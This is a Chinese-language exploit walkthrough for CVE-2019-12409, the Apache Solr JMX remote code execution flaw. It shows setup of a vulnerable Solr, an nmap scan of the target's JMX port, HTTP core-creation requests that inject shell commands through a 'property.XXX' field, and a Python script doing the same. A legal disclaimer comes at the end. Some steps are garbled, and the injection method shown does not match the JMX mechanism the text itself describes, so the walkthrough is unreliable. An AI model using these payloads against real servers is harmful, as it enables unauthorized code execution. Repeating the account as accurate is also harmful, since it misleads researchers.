Apache Solr JMX服务远程代码执行漏洞(CVE-2019-12409)是一个高危漏洞,影响Solr 5.0.0至8.3.1版本。该漏洞允许攻击者通过JMX服务端口利用不安全的配置实现远程代码执行。
下载并安装受影响版本的Solr
wget https://archive.apache.org/dist/lucene/solr/8.3.1/solr-8.3.1.tgz
tar -xzf solr-8.3.1.tgz
cd solr-8.3.1
bin/solr start -e cloud -noprompt
确认JMX服务已启用(默认端口通常为18983)
确认目标Solr服务器的JMX端口开放情况
nmap -p 18983 <target_ip>
使用JConsole或JVisualVM连接JMX服务(无需认证)
通过MBean操作执行命令
solr/jmx
相关的MBeancreateCore
或类似方法,注入恶意参数发送恶意请求创建新core并注入命令
POST /solr/admin/cores?action=CREATE&name=exploit&configSet=_default&property.XXX=";恶意命令;" HTTP/1.1
Host: <target_ip>:8983
或者通过配置注入
POST /solr/admin/cores?wt=json HTTP/1.1
Host: <target_ip>:8983
Content-Type: application/json
{
"create": {
"name": "exploit",
"configSet": "_default",
"property.XXX": "\";恶意命令;\""
}
}
下载并运行公开的漏洞利用脚本(需谨慎验证来源)
# 示例伪代码
import requests
target = "http://<target_ip>:8983"
cmd = "touch /tmp/pwned"
payload = {
'create': {
'name': 'exploit',
'configSet': '_default',
'property.XXX': f'"; {cmd}; "'
}
}
requests.post(f"{target}/solr/admin/cores?wt=json", json=payload)
ps aux
查看Solr进程是否执行了额外命令此文档仅供安全研究和授权测试使用。未经授权对他人系统进行测试是违法行为。请在法律允许范围内使用这些信息。